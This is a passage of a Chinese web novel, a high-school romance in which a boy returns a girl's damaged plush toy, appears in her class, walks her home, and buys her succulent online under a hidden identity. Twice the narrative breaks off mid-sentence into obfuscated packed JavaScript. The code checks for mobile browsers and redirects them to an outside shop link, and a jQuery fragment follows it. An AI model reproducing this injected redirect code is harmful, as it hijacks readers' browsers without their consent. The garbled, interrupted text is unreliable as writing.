没过两分钟,陈燕梅端着切好的水果推开门,一看她居然没在认真看书,怒意噌噌直冒,劈头盖脸就朝她发了好大一通火:“你搞错没有?今天多少号了?啊?最后一周了啊舒禾,你怎么还不知道好好学习?” 陈燕梅嗓音尖锐地质问,脸都气红了,盘子哐当扔到了地上,水果七零八落地滚在地上,红色的汁水溅开,“成天就知道看些没用的视频,心思都花在这上面了,怪不得进不了年级前百,我看你过几天能考上个什么高中!” 舒禾微微张着唇,想要解释的话语,在她的吼声中逐渐地咽了下去。她埋头闭上嘴,沉默地等待陈燕梅消气。 但陈燕梅看着她逆来顺受的样子,就像看到了那个软弱无能的丈夫,不由火气更重了,她一个踱步上前,伸手去扯女孩书包上的挂件:“这玩意儿有啥好稀奇?能替你上考场吗?还是能保佑你考高分啊?!” 她强行地想要把玩偶直接从书包上拽下来,舒禾着急地抓紧书包不让她拿,草莓熊的腿被人用极大的力气拽着,反方向的力让它圆滚滚的身体变得瘦长,歪嘴冷萌的小表情也在拉扯中变了形—— 忽然,微不可闻的一声“咔嚓”,右腿上的线崩开了。 那只残破的腿上绽出白棉絮,舒禾大脑轰得一下空白,眼泪瞬间就涌了出来,带着哭腔的声音祈求道:“妈妈你先给我,我会处理好它的,我也保证会好好学习……” 陈燕梅看着她哭成一团的脸,到底还是心软了,压着火给她下最后通牒:“明天再让我看到,我立马就给它扔到外面垃圾箱里。” 她嘭得一下摔上门走了。 舒禾站在原地拿手背抹着眼泪。 过了会悄悄打开门,抽抽嗒嗒地拿了清洁工具,把地板的水果残渣打扫干净,然后又翻找出针线,泪眼朦胧地把那团挤出来的白棉絮塞了回去,一针一线地缝合好。 最后她给草莓熊拍了张照,上传到闲鱼,抖着手眼泪哗啦地打字。 【包邮送,我很喜欢的小玩偶,希望它能被好好对待。】 “你怎么、你怎么知道……” 舒禾眼巴巴看着男生手上的小挂件,莫大的震惊让她一下丧失了语言功能,断断续续的说不出话,但视线也一直紧张的不曾挪开。 “别管我怎么知道,收着就行了。” 贺行雪话说得蛮不讲理,心里却虚得摸不着底,让她知道他成天翻她闲鱼记录,会不会被当成变态啊? 舒禾小心地把草莓熊捧在手里,它的身体软乎乎的,还带着男生手心的热意。她轻轻地捏了下它的手,熟悉的触感,鼻尖的酸涩跟着涌了上来。 “谢谢你……” 这次她一定,一定会好好地保护它。 贺行雪重新把书包甩回肩上,姿势行云流水潇洒散漫。随后斜了一眼过去,看见女孩子湿润晶亮的眼神,他动作顿了顿,那股子懒怠霎时消失了,抬手若无其事地搓了一下自热耳朵。 “没关系。” 他语气硬邦邦的,抬头望天,这天可真好看啊。 22. 第 22 章 “阿禾!”早上最后一节课结束,任姝宁像个炮弹一样冲过来,脸颊带着震惊后的红晕,她用一种讳莫如深的眼神望着舒禾,飞快拉过她的手往外跑:“快跟我来秘密基地!” 舒禾不明所以,表情懵懵的被她拉着走了一段。所谓的“秘密基地”也就一两分钟的路程,前方的任姝宁停下,她也跟着止步,心情颇为复杂地抬头,看着头顶卫生间的标识,她委婉地问道:“阿宁,发生什么了?” 任姝宁径直拉着她走进最里面那一间,谨慎地反锁好门。然后反手从校服口袋里掏啊掏,掏出一个神秘作案工具。 “阿禾,你已经被我逮捕了,现在给我老实交代——”任姝宁低头捣鼓着手机,没几下就把屏幕示意给她看,“论坛这张照片绝对是你吧!” 她俩蹲在小隔间的角落,两只圆溜溜的脑袋紧紧挨在一起。舒禾捕捉到几个字眼,心里顿时有种不好的预感。 拍摄者离得较远,照片整体有些模糊,但操场鲜亮的红白跑道极为明显,高挑清瘦的男生面对着镜头,他下颌骨收得很窄,线条流畅锐利,五官是糊的,只能看清优越的轮廓,对面站着一个比他矮了一头的女生,背对着镜头看不见脸。 从动作上看,依稀能辨别是他在送女生东西,但那东西被挡了大半,只留出酒红色的一个小角。 舒禾忐忑地往下滑了一段,因着是早上才发的帖,评论还不算很多,有几条大哭说失恋了,有几条八卦问女生何许人也,最后一条最新评论猜测道应该是他同班的秦安然。 这条评论刚发出已有二十多个点赞。 秦安然成绩优异,性格活泼友善,长相也是万里挑一,而且同在国际部家世肯定不差,无论从哪方面看两人都十分匹配,不怪乎有这么多人认同这条评论。 但任姝宁只看了一眼,就觉得这个背影十足眼熟,再偶然间瞟到舒禾书包上多出来的那个草莓熊玩偶,那种飘忽的揣测瞬时就被印证了。只是这实在太不可思议,八竿子打不着的两个人,即使是任姝宁也完全看不出他们之间会有任何交集。 所以她还是迫不及待想从本人口中得到真相。 舒禾确定照片上看不见脸,提着的心就缓缓放下了,这个阶段她想专注学习,不想因为这些事情而分心。 不过面对好友求知欲极强的眼神,她老实巴交道:“是我。” 任姝宁的双眼登时亮如两颗探照灯,在这个昏暗的小隔间里舒禾快要招架不住,赶紧一五一十地解释:“但不是你想的那样!是因为我上次送他手环,所以他才会给我回礼的。” “我想的哪样?”任姝宁声音幽幽地飘来。 “……”舒禾微哽,嘴唇翕动,没好意思说出口。 任姝宁凭借着敏锐的直觉,坚信这里头必然有鬼,而且这个鬼一定在另一个人身上,以至于她现在好奇得抓耳挠腮,特想直接冲到国际部一问究竟,但想也知道这样问不出答案,她只能遗憾放弃这个计划,暂且按兵不动,暗中观察。 由于早上罚跑缺了一节数学课,舒禾回教室时收到好几个同学送来的课堂笔记,包括任姝宁、秦嘉文、卫音……等到孙志伟满脸通红地拿着笔记本过来时,她的课桌都快堆满了,只好无奈婉拒。 整个午休时间,舒禾都在埋头学习,有些实在弄不懂的地方,就圈起来等着找同桌帮忙。一点半时,住校生陆陆续续回班,还有15分钟开始上课,班里哈欠连天,趴倒了一大片,舒禾的上下眼皮也快黏在一起,为了保证下堂课的效率,她干脆合上课本,趁这15分钟补一补觉。 困意浓厚,没到三分钟,舒禾的意识就缓缓下沉,半梦半醒时,她的鼻尖微微耸动,空气中隐约飘来一丝清冽的苦橘气味,似有若无地萦绕在身侧。 真好闻……好熟悉的味道啊……是谁的呢…… 脑海模模糊糊浮现出一张英俊的面容,还未等她思考出答案,脑袋一歪便彻底睡了过去。 “……” 贺行雪倚靠着前门门框,眼神颇为新奇地注视趴在桌上酣睡的荷包蛋。 她的脑袋枕在手臂,只露出半张白皙侧脸,黑密的睫毛弯弯翘翘,伴随呼吸起起伏伏,鼻头小巧精致,像一只寻着坚果味道的小松鼠,无意识地翕动嗅闻。 莫名的可爱,让人无端想撸撸这颗圆脑袋,贺行雪的魔爪蠢蠢欲动时,身旁的女生好奇凑过来,打断了他作恶的念头。 “诶,好眼熟,是之前和我们在食堂一起吃过饭的女生吗?”秦安然放轻声音问。 贺行雪拧眉,稍稍侧身避开一段距离,对此不置可否。 “别打扰人家睡觉了。”秦安然注意到他的动作,不由撇了撇嘴,“时间差不多啦,我们上台吧,再晚他们得上课了。” 贺行雪眉心拧得更紧:“我又不用说话,还要上台?” 秦安然满眼严肃地看他:“当然,吉祥物也有吉祥物的职责好不好!” “……”失策了。 他原本只是想来考察一下好兄弟的学习环境,顺带瞅一眼那颗荷包蛋,结果现在把自己搭进去了。 班里有几名尚且清醒的同志,目光已经遥遥地追了过来,贺行雪只好放弃撸蛋的想法,进门的瞬间顺手放了罐橘子汽水在她桌上,而后慢吞吞地走在秦安然后面,他只站到讲台边缘就停下。 秦安然眼神示意男生过来一点,然而贺行雪的头微微侧着,依旧面朝他们刚才进来的方向,根本接收不到她的信号。 “……”她只能转过头,对下面的同学露出一个柔美的微笑,“大家好,我是高二国际部的秦安然,今天在这里,是向大家介绍一下国际部的基本情况,给一些有想法出国的同学做参考。” 国际部每年都会让学生到各班进行一次宣传,由于贺行雪和秦安然成绩最为优异,便被分派到了实验班。 贺行雪本来是不准备来的,是Ethan觉得有他这张脸在宣传都要事半功倍,于是许诺他只用去高二文理两个班,当个吉祥物往台上一站就行,他这才改了主意。 方才昏昏欲睡的同学们看见两人,头脑顿时清醒过来,双目炯炯地盯着讲台。一部分同学单纯看帅哥美女养眼,另一部分刷过论坛的在悄摸八卦,当然还有一个掌握真相的人——任姝宁坐在最后一排,由于前面两个男生个头太高,她不得不探头探脑,身体快要扭成蛆,终于看清了台上的情况。 秦安然站在正中央对大家娓娓道来,几步之外,贺行雪在边沿散漫地偏着头,神情显然不在状态,不明真相的人会以为他在发呆,但任姝宁神采奕奕地瞪着眼,亢奋到了顶峰。 他不经意抬了下手臂,无所事事地看了看时间,然后又恢复到侧头的姿态。这一动,引导许多眼尖的人注意到他腕上的手环,任姝宁自然没错过,而且一眼认出来这是舒禾送的,她忍不住在心里嗷呜嚎叫了一声。 ——果然!我就知道有猫腻! 她这次绝对没猜错! 看他那个眼神,噫惹,简直都快黏到舒禾身上了。 任姝宁腹诽,吃瓜吃得不亦乐乎。 国际部的宣传至一半,中午起晚的秦嘉文匆匆从前门踏了进来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16968317|192147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,抬头看见贺行雪时他不禁愣住一刹,花了几秒反应过来,朝他笑着点了点头,随即快速到座位坐下。 注意到舒禾在休息,他从书包里掏出学习用具的动作下意识放轻许多,待整理好桌面,他才发现讲台边缘的那个人还在盯着他看。 秦嘉文疑惑地传递一个眼神:“?” 贺行雪懒得玩这种眉来眼去的幼稚游戏,他只是刚才瞟到秦嘉文手腕上有个眼熟的物件,下意识想看清楚,但这人动来动去,一直到坐回座位贺行雪都没看清,偏偏坐下之后,还跟个肌无力似的垂着手抬不起来,全挡在了课桌下。 不过他也没多在意,秦嘉文有晨跑的习惯,戴个运动手环多正常,而且他也不可能买这种平价的,其他款式相似的手环多了去了。 至于舒禾,贺行雪压根没往她身上想,虽然当时她说得义正严辞有理有据,但分明就是暗恋他关心他又不好意思开口,才借着感谢的机会,用这个手环来传达心意,又怎么可能再送别人一个。 贺行雪慢慢悠悠地把目光挪到秦嘉文的同桌身上。 女孩依旧趴在桌上,面朝墙壁,呼吸轻弱平缓,没有一点要醒的迹象。 那张桌面干净整洁,靠墙的一边放着他买的汽水,另一边放着他买的水杯,书包上还挂着他买的玩偶,贺行雪唇角翘起来一点,又迅速地压了回去,他心脏像被某种奇妙的情绪填满,得到了前所未有的满足。 贺行雪缓慢地眨了眨眼,若有所思地端详她的模样,心里正谋划着什么,旁边秦安然已经说完结束语朝他走来,要准备离开了,他只能跟上。 两人路过门边,和秦嘉文打了招呼,就一前一后地往外走,贺行雪跨出门槛前,多看了一眼还在呼呼大睡的某人。 真能睡啊,他心想。 走在前面的秦安然叫他:“快走呀,我们还得去理科实验班呢。” 贺行雪个高腿长,几步就跟了上去。 秦安然侧头看着他心不在焉的模样:“想什么啊,刚才在台上也不专心。” “想——”贺行雪差点把脑子里的人脱口而出,还好及时反应过来,到嘴边的话硬生生咽回去,“想今天早上的荷包蛋,真好吃。” “荷包蛋?”秦安然显然不太敢相信,“这东西有什么好吃的。” 贺行雪垂着眼睫,没怎么注意她说的话,片刻后他脚步倏忽一顿,不知哪门子心血来潮,毫无预兆地转身往回走。 “你先回,我有事。” 秦安然愣愣地瞪着眼,都没来得及问是什么事,再想叫住他时,他已经走出去好远,她在原地气呼呼地哼一声,干脆不管他了。 此时的九班。 还剩两分钟上课铃响,大家都在低着头课前准备,没注意门口什么时候又多出个人。 贺行雪捞起刚才放在课桌上的那罐汽水,从小卖部的冰箱里拿出来已有一段时间,瓶身不再冰得刺手,但和炎热的天气比起来还是冰冰凉凉的。 他低头看了看女孩子睡得泛红的脸颊,手飞快地伸了过去。 等秦嘉文注意到想要阻止时,已经来不及了—— 汽水罐轻轻贴在了女生露出的侧脸。 脸颊一阵冰凉,舒禾下意识唔了一声,迷迷糊糊地睁开眼,视线被生理性泪水遮得雾蒙蒙,先看见半罐橘色汽水,接着眼帘中出现男生英挺的面容。 她很懵地张了张唇,以为自己还在做梦,用力眨几下眼睛恢复视力,就看见贺行雪唇角微微上挑,笑得有点不怀好意。 “起床上课了,懒蛋。” 23. 第 23 章 舒禾被他的称呼惊得微微瞪大眼,眉心一皱就想开口说什么,贺行雪见势不妙,动作迅速把汽水罐往桌上一放,溜得极快。 “……” 门口的男生一溜烟就不见了,只剩舒禾如鲠在喉。 被方才那么一冰,困意消失无踪,舒禾完全清醒过来,一看时间才发现马上就要上课了,她赶紧从桌肚里翻出下堂课要用的课本,和笔记本一起摆在桌面,余光忽然瞥见那罐色彩鲜艳的汽水,她动作一顿,心里纳闷起来。 之前那罐都没喝呢,怎么又多一罐。 桌肚里被课本塞得满满当当,连支笔都放不进去,舒禾正犯难,上课铃声忽然打响,老师踩着点从她面前走进教室,她立刻将这些与学习无关的杂念全部抛掉,把课本翻到上堂课讲的地方,任汽水搁置在桌面。 这节是历史课,是她最感兴趣的一门。 老师侧身站在讲台,拿着把长尺指向页面简洁的ppt,声如洪钟地讲到西方人文精神的起源,舒禾抬眼注视大屏幕,听得十分专注,偶尔低头做笔记时,目光却总不经意滑过桌旁那罐汽水,在上面停顿一顿,再收回。 第二节课也是如此。 第三节课如出一辙。 第四节课愈演愈烈。 那罐汽水像带有什么魔力,不断吸引人看向它。在今天不知道第几次视线停留时,舒禾终于忍不住在心里叹口气,琢磨着找个机会把两瓶一块还回去。 夏季天黑得晚,她花了大半节晚自习补完早上缺的数学课,窗外还流淌着橘子色的霞光,等第二节晚自习结束,最后一丝橘红才彻底被黑暗淹没,舒禾看着还没写完的作业,硬生生拖了二十多分钟才走。 出校门的时候夜幕低垂,路上看不见几个人影,倒是晚风吹得街边绿化丛呼啦响,叶片一边倒地蹭过小腿,舒禾背脊立刻激起一层鸡皮疙瘩。 她硬着头皮连走带跑,心里开始后悔,还是应该早点走的,至少路上还能碰见几个走读生。 正这么想着,前方昏黄路灯下,忽然拢出一道修长的黑影,这影子拉得极长,极黑,从前面斜斜地拖曳至她的身后。 舒禾心脏猛地颤了颤,一瞬间看过的各种悬疑剧犯罪剧都涌上脑海,她头皮发麻,战战兢兢地挪动步子,准备悄无声息地绕个路。 前方蓦地传来鞋底摩擦过路面的声音。 舒禾心脏一紧,抬起头。 恰好对上男生转身投来的目光。 “你……”舒禾看清贺行雪的脸,震惊得欲言又止,提着的心好歹放了下来,“这么晚了,你还在这里啊。” 昏黄幽微的路灯衬得男生冷白的肤色多了几分暖意,他站姿松散单手插兜,小幅度地偏着脑袋,眼神好似在说“你不也一样”。 既然不是什么坏人,那就不用再花时间绕路,舒禾放心地走了过去,背着书包边走边道:“今天作业没写完,我就晚了些走,可惜还是没写完。” 说着说着就想长叹一口气,几步行至男生身边,灯光也朝她罩了下来,她脚步微顿,仰脸看着他眼下长期熬夜的淡青色,不免好奇地问了一句:“你们国际部的作业也很多吗?” 贺行雪昧着良心“嗯”了一声。 舒禾顿时有种同为落难人的心酸,慢慢地往前走:“我一直以为你们课程很轻松呢。” “大差不差吧。”贺行雪瞟过去一眼,提步跟了上去,等待许久的烦闷霎时烟消云散。 想到什么,他眼下卧蚕变得清晰可见,尾音稍扬,“不过,对我来说还是很轻松的。” 路灯之间间隔有十几米左右,他们从光明步入昏昧,又从昏昧走进光明,舒禾抬抬眼,发现贺行雪还在看她,夜空的碎星仿佛都铺进了他的眼底,那双黑眸晶亮得不可思议。 这种眼神不合时宜地让舒禾回忆起来,小时候外婆家的那条大黄狗每次做完指令,就会乖乖地昂首挺胸坐在那,也是用这样亮晶晶的眼神期盼地望着她,等待夸奖和奖励。 舒禾脚步倏忽一顿。 这什么跟什么啊。 意识到一人一狗的眼神逐渐重合,舒禾突然反应过来,心虚错开男生过于直白的目光,掩饰性地揉了揉眼睛,嘴里还在礼貌接话:“啊,你这么厉害。” 她肯定是今晚作业做头晕了,怎么能把贺行雪和狗狗联系起来。 贺行雪听到这话,努力压平的唇角一下就克制不住地扬起来,他抬抬下颌,面上藏不住的得意,还不忘谦虚一句:“还行,就比秦嘉文厉害一点点。” “……”幼稚鬼。 你们俩真是从小到大的朋友吗。 不知不觉两人快要走到十字路口,贺行雪住的臻山壹号离学校更近,但和她家是两个方向,按常理两人就要在这里分开了。 此时人行道刚跳转绿灯,舒禾赶紧小跑了几步,临到马路边,气息不匀地回头与他告别:“我先走啦,拜拜。” 然而贺行雪不按常理地抬脚跟了上来。 “我也走这里。” 舒禾忍不住看向他:“啊?” 贺行雪面不改色:“家附近在修路,得绕一圈。” 舒禾似懂非懂地点点头:“这样啊。” 贺行雪语气镇定:“没错。” 他们一同走过十字路口,又一同拐进居民住宅的那条小巷子。 贺行雪说:“快要国庆节了。” 舒禾:“是呀。” 他用余光窥了一眼身旁的女孩子,语气漫不经心:“去年国庆你们都有什么安排。” “去年?”舒禾想了想,“我在家里理发店帮忙,假期人比较多,爸妈两个人忙不过来。” 贺行雪声音一顿:“你们家是开理发店的?” 舒禾小鸡啄米似的点了点头。 他伸手揉了揉自己蓬松的头发,忽然转头满脸认真地看着她:“那我过去剪个发型怎么样。” 舒禾愣了半天,抬起眼帘,迎上男生真挚的视线,她实在没忍住笑了起来。 “贺行雪——” 她一双眼睛弯成月牙,嗓音里都带着轻快的笑意。 贺行雪下意识站直了一点,眼露疑惑:“干什么。” “我爸妈是半路转行,剪头发的手艺……不可恭维,胜在便宜,顾客基本都是附近的住户,年龄段全是叔叔阿姨爷爷奶奶辈的。” 舒禾一五一十解释完,径自想象了一下贺行雪剪个中老年流行发型,那副滑稽的画面让她掐住手心憋笑。 “……哦。” 贺行雪被噎得哑口无言,瞥了眼身旁笑眼弯弯的女生,想要一触收回的视线却有些挪不开。 她笑起来的时候眼睛微微眯起,浓长的睫毛垂在白皙眼尾,腮颊的软肉会往上提,颊边凹进去一个小圆窝,看得贺行雪指腹发痒,很想伸手过去戳一戳,他强行忍住了,但心底茫然,觉得自己今天好奇怪。 为什么——为什么目光总停留在她身上,移也移不开。 舒禾目视前方没注意他的视线,安静地走了有两三分钟,他睫毛极快地扇动几下,眼尾处漫开一点薄红,贼心不死地绕回话题:“我觉得我不是很挑发型,可以让叔叔阿姨剪个最简单的。” “啊?”舒禾没料到他还在纠结这事,刚想说最简单的可能就是剃寸头,但旋即一想,有这张无可挑剔的脸摆在这,他就算是剃光头都有种飘渺神圣的气质,简直漂亮得不分性别。 还没来得及说话,接近住宅楼的空气里飘来饭菜酸腐的臭味,一阵一阵地钻入鼻腔,垃圾箱不知道又多久没换了。 舒禾一下子拧眉憋住气,习惯性加快脚步,转头注意到贺行雪唇色泛白,她掩住口鼻快速道:“这条路一直这样,一到夏天臭得没法呼吸,我要赶紧进去了,你也快走吧。” 贺行雪对此地的臭气炸弹早有领会,原本是坚决不再踏入这里的,但今天不知何缘故,先是放学在校门口滞留半小时不愿走,接着鬼迷心窍跟着她走反方向绕路,好端端把自己绕进原先绝不愿走进的小巷子。 他胃里一阵翻涌,被这味道熏得面如菜色,嘴都不敢张开, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16979223|192147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼睛眨也不眨,看着女生转身往小区里走,人矮步子却倒腾得很快,一溜烟儿就不见了。 他的唇角往下耷拉出一道半弧,望着空无人影的地方眼睛还舍不得挪开。 还没说让不让他去呢。 * 周末天朗气清,碧空如洗。 “我还是觉得你的作文太生硬了,有种硬套模版的感觉……”清晨阳光明媚,照得小书店暖意融融,舒禾看着秦嘉文刚写完的作文,愁得一边眉毛皱起来,“像这个题目,可以举例论证的点有很多……” 舒禾一条条给他例举起来,秦嘉文的思路恍然开阔,他埋头认真思索,不一会就能够举一反三了,别的不说,至少比刚开始生涩浅显的行文要好许多。 看完他的作文,舒禾便继续做数学题,这段时间思维明显要比以前清晰流畅,做题的速度提升不少,但偶尔遇到晦涩难懂的题型还是会卡壳。她握着黑色水性笔,垂眼专注地思索着解题步骤,眉头一会紧皱一会松展。 “怎么这么难啊——” 程敬宇对着“游戏结束”的字眼哀嚎了一声,扔开手柄整个身体呈大字瘫在沙发上,放空半晌,他往旁一侧头,看见贺行雪还拿着手柄呆坐着,漆黑的瞳孔没什么焦距,明显在神游天外。 “我说,”程敬宇忍不住吐槽,“你确定你最近没吃错什么药?” 这道声音把贺行雪的意识拉回来些许,他眉心微微一皱,反问:“什么吃错药。” 程敬宇简直想翻个白眼。 这人刚回学校的时候他还特别震惊,以为他病情彻底好转了,刚寻思庆祝一顿,结果这位大名鼎鼎的贺同学,居然有意无意地在他面前显摆那便宜手环——程敬宇实在看不出这玩意儿有啥好显摆的,而且他居然为了戴手环把原先昂贵的腕表给取下来了,他险些以为他认知出了差错。 再然后就是今天,他竟在这人房间阳台上看见一盆粉绿粉绿的小多肉!天知道程敬宇发现的时候有多迷幻,这哥们自从生病以后,房间里永远黑沉沉的没有一丝活气,别说这些富有生命力的装饰物,就连他本人都是个活人微死的状态,这可真怪了,打哪儿吹来的妖风让他有心情养小盆栽了?! 本来嘛,养植物应该是病情减弱的表现,程敬宇都还没来得及高兴,就发现了另一个弊端——贺行雪发呆的次数越来越多了。 不仅是打游戏的时候心不在焉,有时候聊着天儿呢,他突然就没声了,转头一看眼神还直愣直愣的,把程敬宇吓够呛,专注力下降可不是什么好趋势。 他摆了摆手,刚想说点什么,倒是贺行雪先开口了。 “秦嘉文今天在干什么?” 程敬宇理所当然回道:“书店呗,他们哪周不在书店啊。” “他们”具体指谁,他没详说,因为觉得贺行雪不会感兴趣。 贺行雪果然没问这个,只道:“他周末都不休息的吗?” 程敬宇耸耸肩:“学霸的想法我可猜不透。” 安静须臾。 贺行雪眼睫微敛,再次开口:“他家里以前不都会给他安排补习班吗?” “我怎么知——”道字还没说出口,程敬宇突然转过弯来,眼神狐疑地望过去,这怎么句句不离秦嘉文? “你这么关心老秦干什么?” 贺行雪抿起唇角,没吭声。 他两指拎着手机翻来覆去,目光不知落到了哪里,在某个瞬间倏然从软椅上起身,踱步到房间的露天阳台。 这个阳台和楼下的大相径庭,装修得异常简洁,没有一丝一毫的杂物,连喝茶晒太阳的桌椅都没有,唯独灰色的台沿上显眼地摆放着一盆色彩鲜艳的多肉。 贺行雪垂眸注视半天,拿起手机,找了各种角度拍下好几张照,最后挑选一张给它的原主人发送过去。 “嗡——” 手机震动一下。 舒禾投过去一眼,是闲鱼消息,之前买多肉的客人发来的。 -【照片】 -它今天怎么看起来不太好。 24. 第 24 章 照片里小盆栽摆放在阳台上,这个位置可以得到充足的阳光,饱满的叶片层层叠叠,肥厚丰润,不见异常。 它后面露出的环境和建筑物有些眼熟,舒禾皱眉回忆了一下却没想起来,便暂且抛开,思索着买家说的“不太好”是什么意思。 依照片看,多肉依旧鲜活可爱,和她寄出去时没有多大差别,更没有枯萎的迹象。 这就很奇怪了。 再次确认多肉没有病害或其他症状,舒禾虽然疑惑,但本着谨慎负责的态度,还是给买家发过去一串养护事项。 -你好,从照片上看没有什么问题哦,记得每天给它保持良好的光照,少浇水多通风,它的生命力还是很顽强的! 消息刚发送出去,手机都还没来得及放下,翘首以盼的买家立刻就回复了。 -真的吗。 -我怕把它养死了。 舒禾手指顿了顿,心头泛出一种很奇异的感觉。 明明只是几个文字,连个表情都没有,她却无端觉得这话透出一股小心翼翼的乖巧,他大概是第一次养多肉吧。舒禾没忍住笑了起来,心想买家人有点可爱。 刚想回复“真的”,对方又发送来一条新消息。 -能加联系方式吗?如果有问题方便联系你。 加联系方式? 舒禾愣愣地蹙起眉毛,有些苦恼,她并不喜欢加陌生人。 没等她回复,对方或许是怕她觉得麻烦,毕竟这盆多肉没几个钱,不到半分钟,他又补充一句:有偿。 发完聊天界面就安静了下来。 舒禾知道他肯定在等回复,这次没多犹豫就打下一行字发过去。 -有问题可以直接平台联系我的,只要我在用手机一定会及时回复。 “你今天有事情要忙吗?” 秦嘉文做完一套题抬头的时候,注意到她拿着手机在不停打字,很忙碌的样子,便好奇问了一句。 “没事的,”舒禾解释,把手机屏幕对着他晃了晃,“之前卖了点东西,在回复买家的消息。” “这样啊。”秦嘉文点点头,没有多问,翻了一页继续专心写题。 手机在掌心里再次震动,舒禾翻转过来看了眼,是买家回复的她上一句婉拒的话,单单一个干巴巴的“哦”字。 舒禾看着这个“哦”字,视线在上面驻留片刻,面前不知怎么突然跳出贺行雪的脸,在她模糊的印象里,这个人不高兴的时候就会这么说。 她倏忽一怔,晃了晃头,把这不知哪来的印象驱散掉,食指无意识地摩挲手机后盖,最后还是不想打击到新人养多肉的信心,低头思索片刻,输入一行字发送。 * -但是,它被你养得超级好呀!! 贺行雪眼睛眨也不眨地看着手机里的新消息,一秒都舍不得挪开。由着后面两个加重的感叹号,他几乎都能想象出女孩子惊喜夸赞的语气,心里原本那点被拒绝的烦闷如水化雾,不知不觉便消散了。 他就这一句话反反复复看了许多遍,女孩子的声音也在脑海里响起许多遍,那样绵软的、清冽的、喜悦的语气,天罗地网般缠绕住他,耳根不知不觉窜起热意。 他手指在屏幕往下滑了几次,没有再收到别的消息,于是又有些沮丧地盯着聊天界面,不知发了多久的呆,贺行雪忽然关掉手机,很轻地哼了一声。 因为第一次养这种东西,下单那天他一整晚都在查阅各种资料,就怕给它养死了,万一被舒禾知道她会不开心。 至于为什么会有这种想法,为什么会怕她不开心,为什么会鬼使神差地要联系方式——这些问题贺行雪还没来得及探究,他茫然着,心底陌生的情感仿佛延伸出一根绳,牢牢操控住自己的四肢百骸,令它随心而动,难以抵抗。 但他莫名的,对这样的操控,似乎并不太抵触。 “又搁这儿发愣了阿雪!” 十几人的小班教室,第一节晚自习结束,程敬宇不知什么时候走过来,偷袭似的一巴掌沉沉地拍在他左肩上。 贺行雪被强行叫回神,霎时烦得甩开他的手,低头慢吞吞拿笔勾选了一道选择题。 程敬宇偏偏属于越挫越勇的类型。 “让我瞅瞅我们留学归来的贺少爷,一整节晚自习做完多少道题了呢……”程敬宇贱兮兮地凑过去,视线扫过他课桌上那本剑16,装模作样拿手比划了一下,神情堪称夸张,“哦,我的天啊,真不愧是你啊阿雪!仅用了整整四十分钟——居然就做到part1的第二道题了!佩服,佩服。” 贺行雪:“……” 他很烦得啧了一声,懒得搭理这个表演欲旺盛的神经,啪一下合上课本,拿起水杯绕开他径自接水去了。 “哎。”被无视的程敬宇十分不爽,三两步追了上去,语重心长地伸长手揽着他的肩膀,“不逗你了,跟我说说呗,最近遇到啥事儿了,老这么心不在焉的。” 贺行雪斜了他一眼:“我心不在焉?” 程敬宇瞅着他没说话。 他乌漆漆的双眼犹如一潭深水,所有的情绪都被暗藏于水面下,以至于他精细雕琢的面容上依旧无波无澜。程敬宇另一只手迟疑地揉了几下后脑勺:“对啊,你最近不是总动不动就发呆,像那天打游戏,还有今天晚自习,可别跟我说你被这点题难住了啊!” 贺行雪语调懒散:“怎么不能?” “这可就跟你说兔子不会吃草一样离谱。”程敬宇吐槽一句,继而恨恨地骂着,“你要是情绪上的问题,就尽早联系医生,别到最后回到原来那个样子。如果是生活上遇到问题,你跟我说啊,我保管给你解决得明明白白。” 下课时间的教室吵嚷一片,班里零星几位同学聊着天,还有四个围坐在一起兴味盎然地联机打游戏,热闹喧哗。纯净水在这阵噼里啪啦的枪声中缓缓淌进他的水杯,贺行雪垂着眼睫注视这条细细的水柱,在水杯接到三分之二时停下。 他转身往座位走,途中仰头喝了口水,喉结微滚。 在程敬宇都以为这人打死不会吐露半分的时候,贺行雪冷不丁开了口:“你能解决明白?” 他回到座位不声不响地坐下。 程敬宇听到这话心里一咯噔,以为是贺行雪家里出了什么问题,毕竟贺行雪的家庭状况可远比他更复杂,他赶紧绕到前面的空位反身一坐:“肯定啊,哎你又不是不知道我这十几年过得有多波澜起伏——小时候我爸创业失败我妈带着我跑了,转头认识一个富二代,差点就扯结婚证,结果听说我爸生意又做起来了,比那富二代走下坡路的企业还有前途,就紧赶慢赶地带着我回去,连我爸外边有个小的也不介意了,搞得家里勾心斗角,我那弟弟成日跟我演宅斗剧,烦得要命,那时候我每天就盼着香港放假你回来小住……” 程敬宇回忆着自己凄惨又带着点奇葩的童年,啧声连连摇头:“别的我不敢说,但是应对家里这种事我已经很有一套了……OK,现在到你讲了,最近怎么个事?” 无论怎么样,作为从小认识的朋友,程敬宇肯定会竭尽所能地站在他这一方。 程敬宇双臂交叠地占据了他半张桌面,贺行雪懒懒倚着靠背,眼皮半掀,在他目光中慢吞吞开口。 “我最近在想一个人。” 程敬宇:“……?” 他大脑宕机,许久没说话。 后知后觉自己想岔了,而且岔得天南海北毫无干系,但转瞬他旺盛腾起的好奇心压过了所有,惊声道:“谁啊?男的女的?!” 贺行雪静静地平视他兴奋的眼神。 程敬宇摸了下鼻子,轻咳:“我这不是八卦啊,要知道不同的人有不同的对策——所以是男的还是女的?” 贺行雪没有直接回答,他言之凿凿:“她暗恋我。” 程敬宇心里一突,顿时确定了性别,语气更为迫切:“然后呢?” 贺行雪顿住几秒,声音平平:“我准备送她礼物。” 